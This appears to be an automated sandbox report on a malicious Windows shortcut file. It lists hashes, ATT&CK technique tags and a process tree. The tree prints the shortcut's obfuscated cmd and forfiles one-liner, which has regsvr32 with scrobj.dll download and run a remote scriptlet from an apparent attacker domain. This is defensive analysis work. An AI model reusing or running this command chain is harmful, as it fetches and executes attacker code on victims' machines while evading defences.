9a0c4062fd1fec2d9b4b603549da4473ed145fce83929acaab843fc766e51647

General

Target
NEW-EHETOHEYOVAME.lnk
Size 8KB
Sample260813-aw4e9afh77
SHA256 9a0c4062fd1fec2d9b4b603549da4473ed145fce83929acaab843fc766e51647
MD5 93a9eee062ca75b7b9b7fd7bfc0aad2a
SHA1 1b2180da5509db46c700a2fd980b192ba8028041
SHA512 38b6a084ab9a1850f70707546360e355605a6c7d900fd4380b7385ec10c9caaf95f1d04bd1c79df691118249c212ac75a193dae1bf0f61c31a94e22b27af9829
SSDEEP 192:8ZYkynNen1GX8+gKAoY+DN2+cfCXe4yx2M6VYURz6WZ:QYkynNI1bLoY+JncfCXfTMkb6
TLSH
T1C502113465FB1019D173FBBB4BDEACABDF7AB621523B256E20A143478601801EE56339
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

Malware Config

Signatures

Indirect Command Execution 1 TTPs 1 IoCs

Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.

defense_evasion

Indirect Command Execution

T1202

pid	Process
5264	forfiles.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5516	cmd.exe
4424	cmd.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 5516 wrote to memory of 4424	5516	cmd.exe	90
PID 4424 wrote to memory of 5264	4424	cmd.exe	91
PID 5264 wrote to memory of 1672	5264	forfiles.exe	92
PID 1672 wrote to memory of 432	1672	cmd.exe	93

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\NEW-EHETOHEYOVAME.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5516
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /ZRCKBWYFKLJVZDJCJEILTBTMP:R1I2KPWENXKTQQWKOO /URTYEXJAHRCWENMCOJPPZUDM:MIZQRQ2OCYXHWW7W /MTXBLMUGPUVUFAJG:CAM51BTRRBAR2 /BSAXKLYDOPLCJVDJEP:BYOVTRBR9FKJJ /GNQPTMIXGLEEHLKQFKUGM:GYBAQ6BJJBP6K3L9PP /BIBEPCZFNZAIEV:JF0T4X9FFY3T3091SNWRS /XOXXTNYXSQXPMFTLCMTS:GBPW0NM0AVTGUACIZQVAYMXLQ /JWNDBFYMKGA:JZACK5QDYL2YSBTT98 /OMULONTXOKWUQEXNPKM:LW389YMJINI8K7U7W /XOSQFAYZNMMBVQRYDUXRCUEQ:AOLJ9Y66QLF /BZEOVKLXGFZCVTIHFQSRTTI:HVT4SYK83KDY /HUHXYTBXAXTGEIGNAZJEOPJO:6IA15RF29F24JWIOYVX7F /QFBDTZNNRLJSDXELPMGGWQGOU:IQH0CJ2AIDD8U22R0FA2W4M /TJUPBWKMTIAZYSA:3R3CASKL2CBE2S9ZP /UMMNRNRQZXOWWXHTESWK:J0VRPMZTJE /VOUWDORGPAVXWFAEGBRNW:CW53TL7HWFGQPU2 /YQXRFZRIIGSLM:YD2FCCER0PE2 /GDDODECATIBXVNRCIMKPMFWG:67MFM28CA0I4950ULZC9C /OOBUUWTOMQZOPXBFWEWRCS:6ZBQZKGCPWMRT /TUDYQKCKAYIJQY:B6GQQGAVATHURWUR80 /DRMAIVBJLRQFGAVV:L6JFHEFGUTHHV07 /NMYMBQJMJDGHSZTRWITOD:3BRPQ72KE1 /OLYCZUHXTJLMLQLQKTGYIFAJQ:Y6TNKYYUAXR /UXXHUGGNSZB:F022AVVBH5WT4CXV /IYZPPTHNTCLRZLCMTKB:QANJFSTE5S5P3R /ANYYUFXMSERU:YCNJL1NRIK6FLA1EVD2US89 /SXRDVHYIMXYSUCRWHIQMYFEVE:P0H5CLOP2OCG /GHICFSKNBC:4NUSNCHIWWSGG /YQLHWNVYAZU:1TJXXBCWO09QKNEF4QT9 /XGYFYHEIWX:LM03LFL29FO7 /AVSHFCMYJRL:Y44WTODS2CT /ZVMUUVFPYNANNXSXEORLAY:886QS8NWAP4JMLQIG21NQKJW /PPCKHWCXNXAFTCCITHDUQXFVD:LL7S5TOGJISI8M77UMO9 /XUSTCBACJQZGBJSSL:TY1J9FYKVQK /XJWMWTGUBJVU:QNCY5XLM53C2XCGN4EYU20 /URGYOEVCGAEBWZ:89Q39OK7IHE /BXVOQIWIPGCL:EOPHFZ6GH6MDL4MR /QBWPIFCQIMNVEOP:U6YALURL0PR5 /DOGFFIKEWMAKLYU:4RS4Z7J7SFAX7G2NX1 /ZKDSHYBKTKFZBVTYNMAFJX:1GL9RDAQZD88P1D1SINB9 /TGTWUUNDOWKY:VPW6TNF1LREZMH75LVR /UYAYVOAKOSYCVBQJNAHKO:RLIV6Z8SJWJM /FBHMMZIHUSNR:GACG2L5H00Z8ISCZLLLOHGI7R /ZVCVVHUQEUOWROCXOTKNUSCWI:800WA2JWVFN80V /QQFGGKFXBNGARKPKZZ:3QY2TZ4OF82TF1G /BCNJINNCEMLFYEPSL:JR9CUDV2KMTD9QMT /WQVWOOYFWWOGJM:PNOWAO5M2Z3HS31EEI944J65 /AXCNRFUYTHD:3OF3BY9AOG /ITDMRHYYJBS:MSNX5IOCTMSGK17Q9TJB /NSPLBAOABIFRHWKYKGDP:46H3C48OA4L /GZURCBOWGMS:Z2JV4IM8QAY4J8U7RNISI /JKCXXJUZVRCRB:GQOM1GDA5JPXPPGBHTWLA1G8F /OLQAQLXPKYAFYODSRHA:VX3HU588FA5VPQ5ATU7JMRJ /LMMQTKNBFOTCTGR:TIIJ4H2KVS0PINV8VGP75K42R /NEAKAWKRQJKYZAGEMTABMEQBY:V638PQY80494O8Z3P3 /AEOTQAZBGXKVXQA:XFQR8IE43N260 /FQOFTOEAEJDJAPYGP:V3H90INQ2QQN7EC /FZECLEXBWWMRCBZPQNZYDYP:TJEMMMDX32HTOWSX1RCYL /WTHKPNCHQBPJPZZNMUJWE:J5IEHZQMB0DAH0HT3MS1DM /SJUUFIBTFDUJDZ:RV05LNWZPWIR7UHCRND8E3B0 /ZOZBYFPJAYYGFPRRWSHNLI:E5MMCAA8QPXR0UAZ7 /XHQOBSQXUJVBY:DTNZTN8Y6C /TNENNLNMYTPKQCFWF:WJ896L00IECPLMH1IJGS5IZ10 /TPNPWFBWTSHAVVVRGUMHOEDV:4JBWLF3W23MB90LU47SS /ETLNOMJCUAKFLNZGDMHLBB:RX96DLD2NJTLIJGPQ41H75UAD /AJKPTPNKOZNIUML:GX2XUEQOTMOBWVCZ8 /VQIGVGENIZKWUUUPCFZ:SVHL9T2MMDP /UVRFUYLFMARTMI:2A2DPCUDJSHOK25XMZVTKC68 /WCICEMIGIJFJSIOM:AY7HJP3WHMXWCQ7698 /VSAUAVTQSBSHGB:ER9JEXN99340 /SWIMZNDULJGTWXXFQH:HFDXX9JIHV6V0THNBO /ZENEOCLPPLEVLWNR:1JNJ82IC9HBUR /TFDAHSWKUESTBER:G2YTXEYNYM40W5CBR /MWAVTALWTWSBBQQJABORKXU:12WB62E6CF2TGIXFSJGPSTQ /EYPCWHIIUG:CD9TJ0G96SJO33MFKUF3 /PPSJKTKLTB:B91TURUHEAEH58UBI9ODWSVRP /VSUTEIJBDUPCNFEJXKC:DPQUQZJB63Q8J5YHQ6 /DRNUHYXYXN:XSUZVL5Q9VWUD5CU /OOFYKZCFWJWFGUEDNTMSB:L2NPOZ34PNNNIGP /QWTWSZZPVPQLCUPTBUO:6XZA70VFZ9AU72EUNKWNMW48 /MXPISOJCRZGZPCPCBNWNB:2KRVN5XE6RNM8REBTLC /IYZFNDVKBDVTIHPT:DQ9FL2X4MRSYHDU /OZUQLMAGVFXG:EOFG5HQO75IXBM9LDX /FDSOZZZDUYB:PJ2FP6QYIVIM4JAR2PX /D/C "fOR %d in (k5ije16k) do For %u in (reg) dO FOR %l in (op8ra8k8hnlm) Do for %s in (svr) Do foR %a in (32) dO fOR %h in (forf) Do foR %o in (il) Do FoR %p in (es) DO fOR %e in (Sys) Do for %j in (tem32) DO fOR %i in (C:\Windows) DO %h%o%p /p %i\%e%j /m scrob?.dll /c "cmd /c %TEMP:~0,1%:\W^in^d^ow^s\%e%j\%u%s%a.exe -^s -^n -^u -^i^:https://w^jdwaxm.plan^alto^v^ero.website/^nyvvegejegda^iua/2^489375638927/ @path iynichyg.dll""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4424
- - C:\Windows\system32\forfiles.exe
    forfiles /p C:\Windows\System32 /m scrob?.dll /c "cmd /c C:\W^in^d^ow^s\System32\regsvr32.exe -^s -^n -^u -^i^:https://w^jdwaxm.plan^alto^v^ero.website/^nyvvegejegda^iua/2^489375638927/ @path iynichyg.dll"
    3⤵
    - Indirect Command Execution
    - Suspicious use of WriteProcessMemory
    PID:5264
  - - C:\Windows\system32\cmd.exe
      /c C:\W^in^d^ow^s\System32\regsvr32.exe -^s -^n -^u -^i^:https://w^jdwaxm.plan^alto^v^ero.website/^nyvvegejegda^iua/2^489375638927/ "C:\Windows\System32\scrobj.dll" iynichyg.dll
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1672
    - - C:\Windows\System32\regsvr32.exe
        
        C:\Windows\System32\regsvr32.exe -s -n -u -i:https://wjdwaxm.planaltovero.website/nyvvegejegdaiua/2489375638927/ "C:\Windows\System32\scrobj.dll" iynichyg.dll
        5⤵
        
        PID:432